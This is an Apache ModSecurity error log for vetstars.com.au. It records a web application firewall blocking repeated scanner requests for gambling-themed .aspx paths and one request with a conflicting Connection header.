[Sat Mar 21 18:59:30.656466 2026] [:error] [pid 1490:tid 1538] [client 147.135.213.175:58050] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ab56EmSWhIPTatyxDeBEygAAAEU"]
[Sat Mar 21 18:59:33.151733 2026] [:error] [pid 1489:tid 1527] [client 147.135.213.175:58062] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ab56FVRvnvBO_DG9kxvuwgAAABc"]
[Sat Mar 21 18:59:35.652371 2026] [:error] [pid 49170:tid 49192] [client 147.135.213.175:58066] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ab56F71KUC-QISS0eWrEswAAARQ"]
[Sat Mar 21 18:59:38.149482 2026] [:error] [pid 49170:tid 49180] [client 147.135.213.175:58070] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ab56Gr1KUC-QISS0eWrEwQAAAQg"]
[Sat Mar 21 18:59:40.651714 2026] [:error] [pid 1491:tid 1585] [client 147.135.213.175:40474] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ab56HK3VfHftzE9w9t5QBgAAAJU"]
[Sat Mar 21 18:59:43.147852 2026] [:error] [pid 43052:tid 43075] [client 147.135.213.175:40476] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ab56H15fjm-AiInC1hL_EQAAA5U"]
[Sat Mar 21 19:00:27.490389 2026] [:error] [pid 33456:tid 33463] [client 147.135.213.175:40482] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ab56Sw-0Ziq_OzjHFfUp4wAAAYU"]
[Sat Mar 21 19:00:29.936332 2026] [:error] [pid 33584:tid 33610] [client 147.135.213.175:36496] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ab56TeATEQBBo5z2HkmPCgAAAdg"]
[Sat Mar 21 19:00:32.413838 2026] [:error] [pid 33584:tid 33600] [client 147.135.213.175:36498] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ab56UOATEQBBo5z2HkmPDgAAAc4"]
[Sat Mar 21 19:00:34.740025 2026] [:error] [pid 49170:tid 49185] [client 147.135.213.175:36500] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ab56Ur1KUC-QISS0eWrFVQAAAQ0"]
[Sat Mar 21 19:00:37.221882 2026] [:error] [pid 49170:tid 49192] [client 147.135.213.175:36504] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ab56Vb1KUC-QISS0eWrFXAAAARQ"]
[Sat Mar 21 19:00:39.547334 2026] [:error] [pid 1489:tid 1508] [client 147.135.213.175:33002] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ab56V1RvnvBO_DG9kxvvKAAAAAU"]
[Sat Mar 21 19:00:42.018151 2026] [:error] [pid 43052:tid 43071] [client 147.135.213.175:33008] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ab56Wl5fjm-AiInC1hL_ZwAAA5E"]
[Sat Mar 21 19:00:44.348486 2026] [:error] [pid 49170:tid 49195] [client 147.135.213.175:33014] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ab56XL1KUC-QISS0eWrFbgAAARc"]
[Sat Mar 21 19:00:46.845657 2026] [:error] [pid 49170:tid 49175] [client 147.135.213.175:33030] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ab56Xr1KUC-QISS0eWrFegAAAQM"]
[Sat Mar 21 19:00:49.322808 2026] [:error] [pid 1490:tid 1550] [client 147.135.213.175:46100] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ab56YWSWhIPTatyxDeBFFgAAAE8"]
[Sat Mar 21 19:00:51.651436 2026] [:error] [pid 49170:tid 49176] [client 147.135.213.175:46104] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ab56Y71KUC-QISS0eWrFjQAAAQQ"]
[Sat Mar 21 19:00:54.139682 2026] [:error] [pid 42886:tid 42889] [client 147.135.213.175:46108] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ab56Zl452dC6nbNWav1pkwAAAwE"]
[Sat Mar 21 19:00:56.633862 2026] [:error] [pid 43052:tid 43056] [client 147.135.213.175:46110] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ab56aF5fjm-AiInC1hL_kAAAA4I"]
[Sat Mar 21 19:00:58.963645 2026] [:error] [pid 43052:tid 43063] [client 147.135.213.175:54908] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ab56al5fjm-AiInC1hL_nAAAA4k"]
[Sat Mar 21 19:01:01.455019 2026] [:error] [pid 43052:tid 43054] [client 147.135.213.175:54914] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ab56bV5fjm-AiInC1hL_owAAA4A"]
[Sat Mar 21 19:01:03.939156 2026] [:error] [pid 33584:tid 33600] [client 147.135.213.175:54920] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ab56b-ATEQBBo5z2HkmPLwAAAc4"]
[Sat Mar 21 19:01:06.256128 2026] [:error] [pid 49170:tid 49184] [client 147.135.213.175:54922] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ab56cr1KUC-QISS0eWrFkAAAAQw"]
[Sat Mar 21 19:01:08.558719 2026] [:error] [pid 1489:tid 1521] [client 147.135.213.175:54934] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ab56dFRvnvBO_DG9kxvvSwAAABE"]
[Sat Mar 21 19:01:11.049855 2026] [:error] [pid 1490:tid 1533] [client 147.135.213.175:55116] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ab56d2SWhIPTatyxDeBFIwAAAEE"]
[Sat Mar 21 19:01:13.358848 2026] [:error] [pid 49170:tid 49181] [client 147.135.213.175:55132] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ab56eb1KUC-QISS0eWrFpAAAAQk"]
[Sat Mar 21 19:01:15.834459 2026] [:error] [pid 1489:tid 1525] [client 147.135.213.175:55142] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ab56e1RvnvBO_DG9kxvvXgAAABU"]
[Sat Mar 21 19:01:18.296792 2026] [:error] [pid 43052:tid 43070] [client 147.135.213.175:55152] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ab56fl5fjm-AiInC1hL_tQAAA5A"]
[Sat Mar 21 19:01:20.764825 2026] [:error] [pid 1491:tid 1586] [client 147.135.213.175:48080] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ab56gK3VfHftzE9w9t5QLAAAAJY"]
[Sat Mar 21 19:01:23.241924 2026] [:error] [pid 43052:tid 43058] [client 147.135.213.175:48088] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ab56g15fjm-AiInC1hL_xgAAA4Q"]
[Sat Mar 21 19:02:06.955436 2026] [:error] [pid 49170:tid 49178] [client 147.135.213.175:48098] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ab56rr1KUC-QISS0eWrGDAAAAQY"]
[Sat Mar 21 19:02:09.373393 2026] [:error] [pid 43052:tid 43070] [client 147.135.213.175:53962] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ab56sV5fjm-AiInC1hIAGgAAA5A"]
[Sat Mar 21 19:02:11.842533 2026] [:error] [pid 49170:tid 49187] [client 147.135.213.175:53964] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ab56s71KUC-QISS0eWrGGAAAAQ8"]
[Sat Mar 21 19:02:14.350927 2026] [:error] [pid 49170:tid 49186] [client 147.135.213.175:53978] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ab56tr1KUC-QISS0eWrGIQAAAQ4"]
[Sat Mar 21 19:02:16.831739 2026] [:error] [pid 1489:tid 1523] [client 147.135.213.175:53986] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ab56uFRvnvBO_DG9kxvvugAAABM"]
[Sat Mar 21 19:02:19.327593 2026] [:error] [pid 49170:tid 49189] [client 147.135.213.175:41988] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ab56u71KUC-QISS0eWrGOQAAARE"]
[Sat Mar 21 19:02:21.821945 2026] [:error] [pid 1490:tid 1552] [client 147.135.213.175:42002] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ab56vWSWhIPTatyxDeBFWgAAAFE"]
[Sat Mar 21 19:02:24.314410 2026] [:error] [pid 42886:tid 42898] [client 147.135.213.175:42006] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ab56wF452dC6nbNWav1p2AAAAwo"]
[Sat Mar 21 19:02:26.806650 2026] [:error] [pid 33678:tid 33697] [client 147.135.213.175:42020] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ab56wjuClB_om73sXhdfLwAAAhE"]
[Sat Mar 21 19:02:29.122911 2026] [:error] [pid 49170:tid 49184] [client 147.135.213.175:52814] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ab56xb1KUC-QISS0eWrGSwAAAQw"]
[Sat Mar 21 19:02:31.596149 2026] [:error] [pid 49170:tid 49192] [client 147.135.213.175:52822] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ab56x71KUC-QISS0eWrGUAAAARQ"]
[Sat Mar 21 19:02:33.410367 2026] [:error] [pid 49170:tid 49172] [client 147.135.213.175:39816] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ab56yb1KUC-QISS0eWrGUQAAAQA"]
[Sat Mar 21 19:02:37.236046 2026] [:error] [pid 49170:tid 49185] [client 147.135.213.175:39820] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ab56zb1KUC-QISS0eWrGWgAAAQ0"]
[Sat Mar 21 19:02:39.116923 2026] [:error] [pid 1490:tid 1544] [client 147.135.213.175:54738] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ab56z2SWhIPTatyxDeBFcgAAAEk"]
[Sat Mar 21 19:02:43.392310 2026] [:error] [pid 43052:tid 43061] [client 147.135.213.175:54740] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ab56015fjm-AiInC1hIAZwAAA4c"]
[Sat Mar 21 21:24:40.070157 2026] [:error] [pid 49170:tid 49185] [client 182.40.104.255:33572] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab6cGL1KUC-QISS0eWoPBAAAAQ0"]
[Sat Mar 21 22:54:47.282062 2026] [:error] [pid 1489:tid 1525] [client 151.196.18.82:53737] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ab6xN1RvnvBO_DG9kxsrZAAAABU"]
[Sat Mar 21 22:54:48.124077 2026] [:error] [pid 33584:tid 33604] [client 151.196.18.82:53742] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ab6xOOATEQBBo5z2HkmryQAAAdI"]
[Sat Mar 21 22:54:50.630943 2026] [:error] [pid 49170:tid 49195] [client 151.196.18.82:53762] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ab6xOr1KUC-QISS0eWo1BQAAARc"]
[Sat Mar 21 22:54:51.461476 2026] [:error] [pid 43052:tid 43077] [client 151.196.18.82:53768] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ab6xO15fjm-AiInC1hJQCQAAA5c"]
[Sat Mar 21 22:54:53.809076 2026] [:error] [pid 43052:tid 43073] [client 151.196.18.82:53789] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ab6xPV5fjm-AiInC1hJQDwAAA5M"]
[Sat Mar 21 22:54:54.643929 2026] [:error] [pid 1490:tid 1549] [client 151.196.18.82:53791] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ab6xPmSWhIPTatyxDeB0sgAAAE4"]
[Sat Mar 21 22:54:57.138613 2026] [:error] [pid 1489:tid 1520] [client 151.196.18.82:53806] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ab6xQVRvnvBO_DG9kxsrcwAAABA"]
[Sat Mar 21 22:54:57.992989 2026] [:error] [pid 42886:tid 42888] [client 151.196.18.82:53809] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ab6xQV452dC6nbNWav2NfQAAAwA"]
[Sat Mar 21 22:55:00.478663 2026] [:error] [pid 33584:tid 33591] [client 151.196.18.82:53825] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ab6xROATEQBBo5z2Hkmr0gAAAcU"]
